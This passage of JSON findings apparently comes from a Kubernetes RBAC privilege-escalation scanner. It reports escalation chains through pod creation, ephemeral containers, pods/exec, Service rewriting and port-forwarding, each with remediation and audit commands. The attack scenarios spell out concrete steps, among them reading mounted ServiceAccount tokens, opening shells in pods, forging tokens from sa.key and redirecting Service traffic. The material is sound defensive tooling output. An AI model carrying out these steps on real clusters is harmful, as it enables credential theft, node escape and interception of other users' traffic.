    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  4. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. pod_create_token_theft [create pods]",
        "4. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 4,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-003:User/gw-patcher:gw-workloads:deployments",
    "rule_id": "KUBE-PRIVESC-003",
    "severity": "HIGH",
    "score": 5.859999999999999,
    "category": "privilege_escalation",
    "title": "Namespace `gw-workloads` only workload-controller mutation can spawn privileged pods on `User/gw-patcher`",
    "description": "Subject User/gw-patcher can `create/update/patch` workload controllers (`deployments`, `daemonsets`, `statefulsets`, `jobs`, `cronjobs`) via RoleBinding `gw-workloads/gw-patcher` → Role `gw-workloads/gw-patcher`. Namespace `gw-workloads` only.\n\nAnyone who can write a workload template inherits the same implicit permissions as `pods/create`: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a `kubectl edit deployment` adding a `privileged: true` sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.\n\nDaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with `patch daemonsets` in `kube-system` mutates `kube-proxy` to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.",
    "subject": {
      "kind": "User",
      "name": "gw-patcher"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "gw-patcher",
      "namespace": "gw-workloads",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-workloads` only"
    },
    "impact": "Spawn (or mutate existing) pods running as any ServiceAccount in Namespace `gw-workloads` only. DaemonSet write specifically yields one attacker pod per node, including future nodes.",
    "attack_scenario": [
      "Attacker enumerates writable controllers with `kubectl auth can-i patch daemonsets --as=gw-patcher -n gw-workloads`.",
      "They identify a high-value DaemonSet (e.g. `kube-system/kube-proxy`, `kube-system/cilium`, or any node-agent that already runs privileged).",
      "They `kubectl patch` to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.",
      "The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.",
      "They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running."
    ],
    "evidence": {
      "api_groups": [
        "apps"
      ],
      "namespace": "gw-workloads",
      "resource_names": [
        "gw-web"
      ],
      "resources": [
        "deployments"
      ],
      "scope": "namespace",
      "source_binding": "gw-patcher",
      "source_binding_kind": "RoleBinding",
      "source_role": "gw-patcher",
      "source_role_kind": "Role",
      "verbs": [
        "patch"
      ]
    },
    "remediation": "Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has `create/update/patch` on `deployments,daemonsets,statefulsets,jobs,cronjobs`. Most application identities should not have this.",
      "Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.",
      "Add a Kyverno/Gatekeeper policy that rejects pod templates with `privileged`, `hostPID`, `hostNetwork`, `hostPath` mounts, or `automountServiceAccountToken: true` outside an explicit allowlist.",
      "For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with `kubectl auth can-i create daemonsets --as=gw-patcher -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/",
      "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — DaemonSet (runs on every node)",
        "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"
      },
      {
        "title": "Kyverno — Disallow privileged containers policy",
        "url": "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "scope:resource-names",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-004:ServiceAccount/foothold-ops/foothold-named-execer:foothold-exec:pods/exec",
    "rule_id": "KUBE-PRIVESC-004",
    "severity": "HIGH",
    "score": 5.8,
    "category": "privilege_escalation",
    "title": "Namespace `foothold-exec` only `pods/exec` access enables token theft from running pods (`ServiceAccount/foothold-ops/foothold-named-execer`)",
    "description": "Subject ServiceAccount/foothold-ops/foothold-named-execer can `create`/`get` the `pods/exec` (or `pods/attach`) subresource via RoleBinding `foothold-exec/foothold-named-execer` → Role `foothold-exec/foothold-named-execer`. Namespace `foothold-exec` only.\n\nExec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container and replay it.\n\nIf the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by `edit`-style roles that operators assume are harmless.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-named-execer",
      "namespace": "foothold-ops"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "foothold-named-execer",
      "namespace": "foothold-exec",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-exec` only"
    },
    "impact": "Run commands inside any running pod in Namespace `foothold-exec` only, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create pods/exec --as=foothold-named-execer -n foothold-exec`.",
      "They enumerate running pods and their ServiceAccounts: `kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName` and pick a pod with a privileged SA.",
      "They exec in: `kubectl exec -it \u003cpod\u003e -- /bin/sh` (or open the raw `pods/exec` WebSocket directly).",
      "They read the mounted token (`cat /var/run/secrets/kubernetes.io/serviceaccount/token`) and replay it against the API server as that ServiceAccount.",
      "If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "foothold-exec",
      "resource_names": [
        "foothold-target"
      ],
      "resources": [
        "pods/exec"
      ],
      "scope": "namespace",
      "source_binding": "foothold-named-execer",
      "source_binding_kind": "RoleBinding",
      "source_role": "foothold-named-execer",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create`/`get` on `pods/exec` and `pods/attach` from non-operator identities; gate any legitimate debug access behind a break-glass workflow.",
    "remediation_steps": [
      "Audit who holds exec rights: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"pods/(exec|attach)\"))'`. Most application identities should have none.",
      "Remove the verbs. For interactive debugging, prefer `kubectl debug` gated by a JIT/break-glass role granted only for the duration of an incident.",
      "Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.",
      "Verify with `kubectl auth can-i create pods/exec --as=foothold-named-execer -n foothold-exec` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec",
      "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: pods/exec",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#pod-exec"
      },
      {
        "title": "Kubernetes — Get a Shell to a Running Container",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1609",
        "name": "Container Administration Command",
        "url": "https://attack.mitre.org/techniques/T1609/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "scope:resource-names",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-ops/foothold-execer:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 5.8,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-execer` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-execer` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv\n  2. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n  3. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-execer` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-ops/foothold-execer` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-ops/foothold-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-fixtures/foothold-priv` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. pod_host_escape [privileged]",
        "3. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_host_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv",
        "source_binding": "foothold-execer",
        "source_role": "foothold-execer",
        "binding_namespace": "foothold-fixtures"
      },
      {
        "step": 2,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      },
      {
        "step": 3,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-015:ServiceAccount/privesc-fixtures/sa-portforward::pods/portforward",
    "rule_id": "KUBE-PRIVESC-015",
    "severity": "MEDIUM",
    "score": 7.199999999999999,
    "category": "lateral_movement",
    "title": "Cluster-wide `pods/portforward` access tunnels to internal services (`ServiceAccount/privesc-fixtures/sa-portforward`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-portforward can `create` the `pods/portforward` subresource via ClusterRoleBinding `crb-portforward` → ClusterRole `cr-portforward`. Cluster-wide: applies to every current and future namespace.\n\nPort-forward opens a tunnel from the attacker's machine, through the API server and kubelet, to an arbitrary TCP port on a target pod. It bypasses NetworkPolicy, Service-level access controls, and any ingress restriction, because the traffic rides the kubelet's streaming channel rather than the pod network. Anything the pod can reach on `localhost` (an admin port, an unauthenticated debug endpoint, a sidecar) becomes reachable by the holder.\n\nThis is primarily a lateral-movement and data-access primitive rather than a direct RBAC escalation: it gives network reach to internal services (databases, message queues, metadata proxies, the API of another component) that were assumed to be cluster-internal.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-portforward",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-portforward",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Reach any TCP port on any pod in Cluster-wide from outside the cluster network, bypassing NetworkPolicy and Service controls (internal databases, admin consoles, sidecar APIs).",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create pods/portforward --as=sa-portforward -A`.",
      "They identify a target pod exposing a sensitive port on localhost (a database, an unauthenticated admin endpoint, a metadata proxy).",
      "They open a tunnel: `kubectl port-forward pod/\u003ctarget\u003e 5432:5432`.",
      "They connect to `localhost:5432` and interact with the internal service directly, with no NetworkPolicy in the path.",
      "They exfiltrate data or pivot deeper using credentials harvested from the exposed service."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods/portforward"
      ],
      "scope": "cluster",
      "source_binding": "crb-portforward",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-portforward",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create` on `pods/portforward` from application identities; reserve it for a small operator group and enforce NetworkPolicy on sensitive workloads regardless.",
    "remediation_steps": [
      "Audit who holds port-forward rights: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"pods/portforward\"))'`.",
      "Remove the verb from application/CI identities. Port-forward is a human-debugging convenience, not a workload permission.",
      "Add authentication to internal services (do not rely on network position) and enforce NetworkPolicy so a tunnel into one pod does not expose the whole namespace.",
      "Verify with `kubectl auth can-i create pods/portforward --as=sa-portforward -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/access-application-cluster/port-forward-access-application-cluster/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Use Port Forwarding to Access Applications in a Cluster",
        "url": "https://kubernetes.io/docs/tasks/access-application-cluster/port-forward-access-application-cluster/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
